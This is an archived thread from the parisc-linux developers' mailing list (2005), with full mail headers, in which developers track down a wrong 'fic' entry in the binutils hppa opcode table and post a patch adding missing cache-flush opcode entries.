Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CC877D6DB;
	Sat, 24 Sep 2005 19:27:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 849847D6D7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 19:27:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31087-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 19:27:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id DBD647D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 19:27:55 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j8P1RNeT002901; Sat, 24 Sep 2005 21:27:23 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j8P1RMGg002900;
	Sat, 24 Sep 2005 21:27:22 -0400 (EDT)
In-Reply-To: <20050924185439.GC7824@colo.lackof.org> from "Grant Grundler" at
	Sep 24, 2005 12:54:39 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dJhHY3EyeSEkRb6WZHQhaXN1IGRvb4D7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23161

> binutils-2.15 has this in include/opcodes/hppa.h:
> { "fdc",        0x04001280, 0xfc003fdf, "cZx(s,b)", pa10, 0},
> { "fdc",        0x04001280, 0xfc003fdf, "cZx(b)", pa10, 0},
> { "fic",        0x04000280, 0xfc001fdf, "cZx(S,b)", pa10, 0},
> { "fic",        0x04000280, 0xfc001fdf, "cZx(b)", pa10, 0},

The last "fic" opcode entry is wrong.  It's using the wrong
instruction format, the mask is wrong, pa10 is wrong, etc.

> And the binutils_2.16.1cvs20050902 version has only:
> { "fdc",        0x04001280, 0xfc00ffdf, "cZx(b)", pa10, 0},
> { "fdc",        0x04001280, 0xfc003fdf, "cZx(s,b)", pa10, 0},
> { "fic",        0x04000280, 0xfc001fdf, "cZx(S,b)", pa10, 0},

Yes, I deleted the entry because there isn't implicit space
register selection for 'S' instructions.

> The order of the with 's' vs without 's' was switched and
> in the process dropped one "fic" line.

Changing the order of with 's' vs without 's' was intentional.
It generates better disassembly.  Give the new objdump a try
and you will see the difference.

> Can binutils maintainer/folks please just add it back
> in the new location?

We need a new pa20 format 24 entry.

> Is the fix obvious enough or is a patch necessary?

A patch is needed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils breaks hppa kernel build,
Date: Sat, 24 Sep 2005 19:49:06 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20050925014906.GC29038__20560.6145239019$1416623925$gmane$org@parisc-linux.org>
References: <20050924185439.GC7824@colo.lackof.org>
	<200509250127.j8P1RMGg002900@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623925 16769 80.91.229.3 (22 Nov 2014 02:38:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:45 +0000 (UTC)
Cc: 329888@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2005 01:49:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 25 Sep 2005 03:49:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AADAC7D6F0;
	Sat, 24 Sep 2005 19:49:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31648-10; Sat, 24 Sep 2005 19:49:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7A247D6E8;
	Sat, 24 Sep 2005 19:49:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0C137D6DB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 19:49:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31580-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 19:49:06 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 77C087D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 19:49:06 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 34EBA49400B; Sat, 24 Sep 2005 19:49:06 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200509250127.j8P1RMGg002900@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TGdEY4NdeSEkWL6WZHQhaXN1IGRvbwAH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23162

On Sat, Sep 24, 2005 at 09:27:22PM -0400, John David Anglin wrote:
> The last "fic" opcode entry is wrong.  It's using the wrong
> instruction format, the mask is wrong, pa10 is wrong, etc.

I don't think we realised this until now.  I suspect we've been
silently emitting bad code up until this point, and given that it's
in flush_kernel_icache_page, maybe it explains some of our occasional
crashes.

The code was previously:

        fic,m           %r23(%r26)

We're trying to flush kernel space at this point, so we can use any of
sr4-sr7.   I suspect before we were putting sr0 in, which could have
been flushing any random space instead of the one we wanted.  I'll
commit this change to the kernel source now.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils breaks hppa kernel build,
Date: Sat, 24 Sep 2005 22:06:12 -0400 (EDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <200509250206.j8P26CdT003066__12633.8807669983$1416623925$gmane$org@hiauly1.hia.nrc.ca>
References: <200509250127.j8P1RMGg002900@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623925 16772 80.91.229.3 (22 Nov 2014 02:38:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:45 +0000 (UTC)
Cc: 329888@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2005 02:06:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 25 Sep 2005 04:06:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47C9E7D6FB;
	Sat, 24 Sep 2005 20:06:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32069-08; Sat, 24 Sep 2005 20:06:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47AC97D6FC;
	Sat, 24 Sep 2005 20:06:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B3697D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 20:06:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32069-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 20:06:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 61BCE7D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 20:06:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j8P26CeT003067; Sat, 24 Sep 2005 22:06:13 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j8P26CdT003066;
	Sat, 24 Sep 2005 22:06:12 -0400 (EDT)
In-Reply-To: <200509250127.j8P1RMGg002900@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Sep 24, 2005 09:27:22 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aGNEYwU5eSEkSb6WZHQhaXN1IGRvb0Co
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23163

> > binutils-2.15 has this in include/opcodes/hppa.h:
> > { "fdc",        0x04001280, 0xfc003fdf, "cZx(s,b)", pa10, 0},
> > { "fdc",        0x04001280, 0xfc003fdf, "cZx(b)", pa10, 0},
> > { "fic",        0x04000280, 0xfc001fdf, "cZx(S,b)", pa10, 0},
> > { "fic",        0x04000280, 0xfc001fdf, "cZx(b)", pa10, 0},
> 
> The last "fic" opcode entry is wrong.  It's using the wrong
> instruction format, the mask is wrong, pa10 is wrong, etc.

The enclosed patch against binutils head adds the missing "fic"
entry.  I also noticed that we were missing a pa20 im5 variant for
"fdc".  This builds and checks with no regressions.  However,
the new entries aren't really tested.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: hppa.h
===================================================================
RCS file: /cvs/src/src/include/opcode/hppa.h,v
retrieving revision 1.59
diff -u -3 -p -r1.59 hppa.h
--- hppa.h	3 Aug 2005 15:08:52 -0000	1.59
+++ hppa.h	25 Sep 2005 01:58:35 -0000
@@ -755,6 +755,9 @@ static const struct pa_opcode pa_opcodes
 { "pdc",	0x04001380, 0xfc003fdf, "cZx(s,b)", pa10, 0},
 { "fdc",	0x04001280, 0xfc00ffdf, "cZx(b)", pa10, 0},
 { "fdc",	0x04001280, 0xfc003fdf, "cZx(s,b)", pa10, 0},
+{ "fdc",	0x04003280, 0xfc00ffff, "5(b)", pa20, FLAG_STRICT},
+{ "fdc",	0x04003280, 0xfc003fff, "5(s,b)", pa20, FLAG_STRICT},
+{ "fic",	0x040013c0, 0xfc00dfdf, "cZx(b)", pa20, FLAG_STRICT},
 { "fic",	0x04000280, 0xfc001fdf, "cZx(S,b)", pa10, 0},
 { "fdce",	0x040012c0, 0xfc00ffdf, "cZx(b)", pa10, 0},
 { "fdce",	0x040012c0, 0xfc003fdf, "cZx(s,b)", pa10, 0},
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils breaks hppa kernel build,
Date: Sat, 24 Sep 2005 23:24:31 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200509250324.j8P3OVYQ003335__13234.2372010045$1416623925$gmane$org@hiauly1.hia.nrc.ca>
References: <20050925014906.GC29038@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623925 16776 80.91.229.3 (22 Nov 2014 02:38:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:45 +0000 (UTC)
Cc: 329888@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2005 03:24:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 25 Sep 2005 05:24:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4C9A7D710;
	Sat, 24 Sep 2005 21:24:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32722-01; Sat, 24 Sep 2005 21:24:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C5697D706;
	Sat, 24 Sep 2005 21:24:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E33857D704
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 21:24:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32358-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 21:24:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4470D7D702
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 21:24:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j8P3OWeT003336; Sat, 24 Sep 2005 23:24:32 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j8P3OVYQ003335;
	Sat, 24 Sep 2005 23:24:31 -0400 (EDT)
In-Reply-To: <20050925014906.GC29038@parisc-linux.org> from "Matthew Wilcox"
	at Sep 24, 2005 07:49:06 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LX1EY11GeSEkdL6WZHQhaXN1IGRvb0B4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23164

> On Sat, Sep 24, 2005 at 09:27:22PM -0400, John David Anglin wrote:
> > The last "fic" opcode entry is wrong.  It's using the wrong
> > instruction format, the mask is wrong, pa10 is wrong, etc.
> 
> I don't think we realised this until now.  I suspect we've been
> silently emitting bad code up until this point, and given that it's
> in flush_kernel_icache_page, maybe it explains some of our occasional
> crashes.
> 
> The code was previously:
> 
>         fic,m           %r23(%r26)

I've committed a fix to binutils head.  The above should now be
accepted when generating PA 2.0 code.  However, I'd probably
avoid using this feature for awhile.  It looks like the bug has
been present since ~ 1996.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils breaks hppa kernel build,
Date: Sat, 24 Sep 2005 21:45:48 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20050925034548.GB1459__48323.4728374102$1416623925$gmane$org@parisc-linux.org>
References: <20050925014906.GC29038@parisc-linux.org>
	<200509250324.j8P3OVYQ003335@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623925 16780 80.91.229.3 (22 Nov 2014 02:38:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:45 +0000 (UTC)
Cc: 329888@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2005 03:45:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 25 Sep 2005 05:45:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 164E37D71E;
	Sat, 24 Sep 2005 21:45:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00573-08; Sat, 24 Sep 2005 21:45:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D1AC7D71F;
	Sat, 24 Sep 2005 21:45:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 15FED7D71D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 21:45:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00485-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 21:45:48 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 90E497D71C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 21:45:48 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 377A0494007; Sat, 24 Sep 2005 21:45:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200509250324.j8P3OVYQ003335@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JHhEY6M/eSEkQ76WZHQhaXN1IGRvb0AD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23165

On Sat, Sep 24, 2005 at 11:24:31PM -0400, John David Anglin wrote:
> > On Sat, Sep 24, 2005 at 09:27:22PM -0400, John David Anglin wrote:
> > > The last "fic" opcode entry is wrong.  It's using the wrong
> > > instruction format, the mask is wrong, pa10 is wrong, etc.
> > 
> > I don't think we realised this until now.  I suspect we've been
> > silently emitting bad code up until this point, and given that it's
> > in flush_kernel_icache_page, maybe it explains some of our occasional
> > crashes.
> > 
> > The code was previously:
> > 
> >         fic,m           %r23(%r26)
> 
> I've committed a fix to binutils head.  The above should now be
> accepted when generating PA 2.0 code.  However, I'd probably
> avoid using this feature for awhile.  It looks like the bug has
> been present since ~ 1996.

This is in a file that's used on pa1.1 processors too, so I've gone with
specifying sr4 explicitly.  Thanks for fixing this bug and exposing our
bug ...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.14-rc2-pa2 ccio patch
Date: Thu, 29 Sep 2005 09:43:08 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20050929154308.GA29975@colo.lackof.org>
References: <20050929064709.GA22206@colo.lackof.org>
	<200509291513.j8TFDjxN010783@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623926 16783 80.91.229.3 (22 Nov 2014 02:38:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
